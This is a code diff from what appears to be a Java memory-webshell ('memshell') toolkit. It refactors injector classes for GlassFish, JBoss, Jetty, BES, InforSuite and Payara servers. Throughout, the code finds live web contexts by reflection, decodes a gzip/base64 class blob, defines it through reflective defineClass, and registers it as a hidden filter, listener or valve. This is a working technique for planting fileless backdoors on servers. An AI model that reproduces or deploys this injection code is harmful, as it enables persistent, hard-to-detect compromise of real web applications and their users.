-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
@@ -116,7 +109,6 @@ public class BesListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -124,16 +116,13 @@ public class BesListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
 

memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesValveInjector.java

@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -46,37 +43,33 @@ public class BesValveInjector {
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
@@ -119,7 +112,6 @@ public class BesValveInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -127,16 +119,13 @@ public class BesValveInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java

@@ -6,10 +6,7 @@ import java.io.IOException;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
 import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
@@ -49,41 +46,37 @@ public class GlassFishFilterInjector {
 
     public List<Object> getContext() throws Exception {
         List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("unchecked")
@@ -131,7 +124,6 @@ public class GlassFishFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -139,16 +131,13 @@ public class GlassFishFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java

@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.EventListener;
-import java.util.List;
-import java.util.Map;
 import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
@@ -50,56 +47,47 @@ public class GlassFishListenerInjector {
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
     public void inject(Object context, Object listener) throws Exception {
-        List<Object> eventListeners = (List<Object>) invokeMethod(context, "getApplicationEventListeners", null, null);
+        List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners", null, null);
-        boolean isExist = false;
+        for (EventListener eventListener : eventListeners) {
-        for (Object eventListener : eventListeners) {
             if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
-                isExist = true;
-                break;
-            }
-        }
-        if (!isExist) {
-            log.info("listener added successfully");
-            eventListeners.add(listener);
-        } else {
                 log.warning("listener already exists");
+                return;
             }
         }
+        eventListeners.add((EventListener) listener);
+        log.info("listener added successfully");
+    }
 
     @SuppressWarnings("all")
     public static byte[] decodeBase64(String base64Str) throws Exception {

memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishValveInjector.java

@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -46,37 +43,45 @@ public class GlassFishValveInjector {
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object valve) throws Exception {
+        Object pipeline = invokeMethod(context, "getPipeline", null, null);
+        if (isInjected(pipeline)) {
+            System.out.println("valve already injected");
+            return;
+        }
+        Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
+        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+        System.out.println("valve injected successfully");
     }
 
     @SuppressWarnings("all")
@@ -91,19 +96,6 @@ public class GlassFishValveInjector {
         return false;
     }
 
-    @SuppressWarnings("all")
-    public void inject(Object context, Object valve) throws Exception {
-        Object pipeline = invokeMethod(context, "getPipeline", null, null);
-        if (isInjected(pipeline)) {
-            System.out.println("valve already injected");
-            return;
-        }
-        Class valveClass;
-        String valveClassName = "org.apache.catalina.Valve";
-        valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
-        invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
-    }
-
     @SuppressWarnings("all")
     public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
@@ -121,7 +113,6 @@ public class GlassFishValveInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -129,16 +120,13 @@ public class GlassFishValveInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/inforsuite/injector/InforSuiteFilterInjector.java

@@ -69,21 +69,19 @@ public class InforSuiteFilterInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("unchecked")
@@ -137,7 +135,6 @@ public class InforSuiteFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -145,16 +142,13 @@ public class InforSuiteFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java

@@ -7,6 +7,7 @@ import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.List;
 import java.util.Map;
 import java.util.zip.GZIPInputStream;
@@ -51,51 +52,47 @@ public class JbossFilterInjector {
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return Class.forName(getClassName(), false, classLoader).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
     public void inject(Object context, Object filter) throws Exception {
-        String filterClassName = getClassName();
+        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
-        if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
+            System.out.println("filter already injected");
             return;
         }
         Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
         Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
-        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
-        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
+        invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
         invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         try {
             invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
@@ -109,7 +106,8 @@ public class JbossFilterInjector {
         try {
             Object filterConfig = constructors[0].newInstance(context, filterDef);
             Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
-            filterConfigs.put(filterClassName, filterConfig);
+            filterConfigs.put(getClassName(), filterConfig);
+            System.out.println("filter injected successfully");
         } catch (Exception e) {
             // 多个应用部分应用通过上下文线程加载 filter 对象，可能在目标应用会加载不到
             if (!(e.getCause() instanceof ClassNotFoundException)) {
@@ -135,7 +133,6 @@ public class JbossFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -143,16 +140,13 @@ public class JbossFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java

@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
 import java.util.zip.GZIPInputStream;
 
 
@@ -47,17 +44,15 @@ public class JbossListenerInjector {
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object key : childrenMap.keySet()) {
+                Collection<?> values = childrenMap.values();
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
+                for (Object value : values) {
-                    for (Object key1 : children.keySet()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                        Object context = children.get(key1);
+                    for (Object context : children.values()) {
-                        if (context != null && context.getClass().getName().contains("StandardContext")) {
                         contexts.add(context);
                     }
                 }
             }
         }
-        }
         return contexts;
     }
 
@@ -136,7 +131,6 @@ public class JbossListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -144,16 +138,13 @@ public class JbossListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossValveInjector.java

@@ -1,25 +1,23 @@
-package com.reajason.javaweb.memshell.payara.injector;
+package com.reajason.javaweb.memshell.jboss.injector;
 
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.*;
-import java.util.Arrays;
-import java.util.List;
 import java.util.zip.GZIPInputStream;
 
 /**
  * @author ReaJason
  */
-public class PayaraValveInjector {
+public class JbossValveInjector {
 
     static {
-        new PayaraValveInjector();
+        new JbossValveInjector();
     }
 
-    public PayaraValveInjector() {
+    public JbossValveInjector() {
         try {
             List<Object> contexts = getContext();
             for (Object context : contexts) {
@@ -44,32 +42,34 @@ public class PayaraValveInjector {
         Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Object context = getFieldValue(getFieldValue(thread, "target"), "this$0");
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
+                Collection<?> values = childrenMap.values();
+                for (Object value : values) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    for (Object context : children.values()) {
                         contexts.add(context);
                     }
                 }
             }
+        }
         return contexts;
     }
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     @SuppressWarnings("all")
@@ -79,10 +79,9 @@ public class PayaraValveInjector {
             System.out.println("valve already injected");
             return;
         }
-        Class valveClass;
+        Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
-        String valveClassName = "org.apache.catalina.Valve";
-        valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
         invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
+        System.out.println("valve injected successfully");
     }
 
     @SuppressWarnings("all")
@@ -115,7 +114,6 @@ public class PayaraValveInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -123,16 +121,13 @@ public class PayaraValveInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java

@@ -44,8 +44,7 @@ public class JettyFilterInjector {
         return "{{base64Str}}";
     }
 
-    public void inject(Object context, Object magicFilter) throws Exception {
+    public void inject(Object context, Object filter) throws Exception {
-        Class<?> filterClass = magicFilter.getClass();
         Object servletHandler = getFieldValue(context, "_servletHandler");
 
         if (servletHandler == null) {
@@ -65,7 +64,7 @@ public class JettyFilterInjector {
             filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
         }
         Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
-        Object filterHolder = constructor.newInstance(filterClass);
+        Object filterHolder = constructor.newInstance(filter.getClass());
         invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
 
         // 2. 注入内存马Filter
@@ -183,21 +182,19 @@ public class JettyFilterInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            obj = clazz.newInstance();
+            return clazz.newInstance();
         }
-        return obj;
     }
 
     public boolean isInjected(Object servletHandler) throws Exception {
@@ -238,7 +235,6 @@ public class JettyFilterInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -246,16 +242,13 @@ public class JettyFilterInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyListenerInjector.java

@@ -108,27 +108,22 @@ public class JettyListenerInjector {
         throw new Exception("HttpConnection not found");
     }
 
-    private Object getShell(Object context) {
+    @SuppressWarnings("all")
-        Object listener = null;
+    private Object getShell(Object context) throws Exception {
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         if (classLoader == null) {
             classLoader = context.getClass().getClassLoader();
         }
         try {
-            listener = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
-            try {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                listener = clazz.newInstance();
+            return clazz.newInstance();
-            } catch (Throwable e1) {
-                e1.printStackTrace();
         }
     }
-        return listener;
-    }
 
     public static void inject(Object context, Object listener) throws Exception {
         if (isInjected(context, listener.getClass().getName())) {
@@ -172,7 +167,6 @@ public class JettyListenerInjector {
     public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
         ByteArrayOutputStream out = new ByteArrayOutputStream();
         GZIPInputStream gzipInputStream = null;
-
         try {
             gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
             byte[] buffer = new byte[4096];
@@ -180,16 +174,13 @@ public class JettyListenerInjector {
             while ((n = gzipInputStream.read(buffer)) > 0) {
                 out.write(buffer, 0, n);
             }
+            return out.toByteArray();
         } finally {
             if (gzipInputStream != null) {
-                try {
                 gzipInputStream.close();
-                } catch (IOException ignored) {
-                }
             }
             out.close();
         }
-        return out.toByteArray();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyServletInjector.java

@@ -118,21 +118,18 @@ public class JettyServletInjector {
 
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        Object obj;
         ClassLoader classLoader = context.getClass().getClassLoader();
         try {
-            obj = classLoader.loadClass(getClassName()).newInstance();
+            return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
             byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
             Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
